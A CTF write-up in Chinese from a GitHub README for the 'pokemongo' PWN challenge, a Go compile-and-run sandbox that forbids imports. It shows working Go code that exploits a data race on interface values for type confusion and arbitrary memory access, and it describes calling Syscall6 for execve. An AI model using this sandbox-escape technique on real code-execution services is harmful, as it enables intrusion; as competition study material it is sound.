zhangyoufu / pokemongo

Go语言,不允许import,请开始你的表演

Geek Repo:Geek Repo

Github PK Tool:Github PK Tool

第六届“强网杯”全国网络安全挑战赛 线上赛 PWN pokemongo

版权

赛题版权归出题人(bibi?)和关联方所有,侵删。 EDIT: 见#原题

题解及相关代码如需转载,请先获得我的许可。

赛题

附件:pokemongo.zip百度网盘,提取码GAMESHA256: b9486aab59fa04ab7d422f12e71c030cb594c9aacf2f701cdbcc2810a6792ed0

题解

pokemongo代码量不大,但是IDA尚不支持ABIInternal寄存器传参,得用__usercall手工修正后才能看。(或许有好用的工具只是我不了解)

大白话:给我一段Go代码,我帮你编译、执行,唯一的要求是代码中不能import,请开始你的表演,获取flag文件内容。

详细流程如下:

  • main()
    • 输入长度
    • 分多行输入字符串内容(其实bufio.Scanner是多余的,base64解码时会忽略换行符)
    • 对输入的字符串解base64编码,得到源码
    • sanitizeAndRun(src_code)
      • sanitize(src_code)
        • 调用go/parser将源码解析为AST
        • 检查AST不包含import声明
        • 调用go/printer将AST还原为源码
        • 返回处理后的源码
      • run(sanitized_src_code)
        • 创建临时目录
        • 将源码保存到临时目录下的main.go
        • 开始计时5秒
        • 执行go build -buildmode=pie <源码路径>编译
        • 执行编译产物,捕获标准输出与标准错误的内容
        • 返回编译产物的输出
      • 返回run()的结果
    • 输出sanitizeAndRun()的结果

先浏览一遍《The Go Programming Language Specification》built-in函数列表,感觉只有print/println函数能用的上。

不允许import,也就没法使用//go:linkname,只能自己造漏洞来利用。

Go的主要贡献者之一Russ Cox曾经转发过这样一段话:

Go loses its memory safety guarantees if you write concurrent software. Rust loses its memory safety guarantees if you use non-trivial data structures. C++ loses its memory safety guarantees if you use pointers (or references).

思路可以确定下来,靠race实现类型混淆,达成任意内存读写。

interface的存储结构定义如下:

type iface struct {
	tab  *itab
	data unsafe.Pointer
}

type eface struct {
	_type *_type
	data  unsafe.Pointer
}

Go将没有方法的interface实现为eface,有方法的interface实现为iface。 对于我们来说eface更直接,更方便利用。

我们可以用一个goroutine对interface{}来回赋两种不同类型的值,另一个goroutine去观测它。 eface内两个指针的赋值,既不是原子读写,也没有加锁,因此可以观察到中间状态,实现类型混淆。 通过generics语法,我们可以方便地混淆任意类型而不用复制粘贴代码。(之所以把OutputType放在InputType前面,是为了利用类型推断,方便使用)

func typeConfuse[OutputType, InputType any](input *InputType) (output *OutputType) {
	var intf any
	stop := false
	go func() {
		for !stop {
			intf = any(input)
			intf = any(output)
		}
	}()
	for {
		if ptr, ok := intf.(*OutputType); ok && ptr != nil {
			stop = true
			return ptr
		}
	}
}

使用样例:

// copied from reflect.SliceHeader
type SliceHeader struct {
	Data uintptr
	Len  int
	Cap  int
}

func main() {
	slice := []byte("Hello World")
	_slice := typeConfuse[SliceHeader](&slice)
	_slice.Len = 5
	println(string(slice))
}

在Go Playground上执行这段代码可以看到输出为Hello,我们可以自由修改SliceHeader进行任意内存读写。

以上步骤相当于拿到了unsafe.Pointer,之后的利用步骤有多种思路:

  1. 利用runtime.open/runtime.read读取flag文件
  2. 利用runtime.mmap写入shellcode
  3. 利用runtime/internal/syscall.Syscall6执行任意syscall(execve)

比赛时不确定flag文件路径,没有选择第1条思路。 pokemongo已经给我们提供了回显,因此思路2相比思路3没有优越性。 最终选择了思路3。

我们可以很方便定位到runtime/internal/syscall.Syscall6,但是传参的时候尴尬了。 pokemongo使用Go 1.18.0编译(可以用go version -m pokemongo查看),大量runtime函数还在用Go祖传的ABI0栈传参,而我们在Go代码中声明的函数“指针”全都是ABIInternal寄存器传参。 就算我们只用syscall;ret这样的gadget,rdx寄存器一般用于传递闭包的上下文,我们在Go代码中不太方便控制execveenvp参数。

好在workaround也很单纯:声明函数类型的时候,前9个参数占满寄存器传参,后面的参数自然就用栈传递了,可以很方便地模拟ABI0的参数。

func (_0,_1,_2,_3,_4,_5,_6,_7,_8 uintptr, syscall_nr uintptr, filename *byte, argv **byte, envp **byte)

完整利用代码见本仓库exploit目录。

源码

本仓库src/pokemongo.go为逆向得到的源码,运行src/build.sh再次构建可以得到(除.note.go.buildid以外)与赛题完全一致的可执行文件。 看似短短100行代码,想做到完全一致还是有一定难度的,可以加深对Go的理解。

原题

后来注意到本题并非原创,原题是Google CTF 2019 Finals的Gomium Browser。变更有:

  • 大幅度简化了交互
  • 检查import的时候不再允许fmt
  • go build参数追加了-buildmode=pie

原题作者的博客也很值得一读,学习其它思路。

About

Go语言,不允许import,请开始你的表演


Languages

Language:Go 65.6%Language:Python 20.8%Language:Shell 13.6%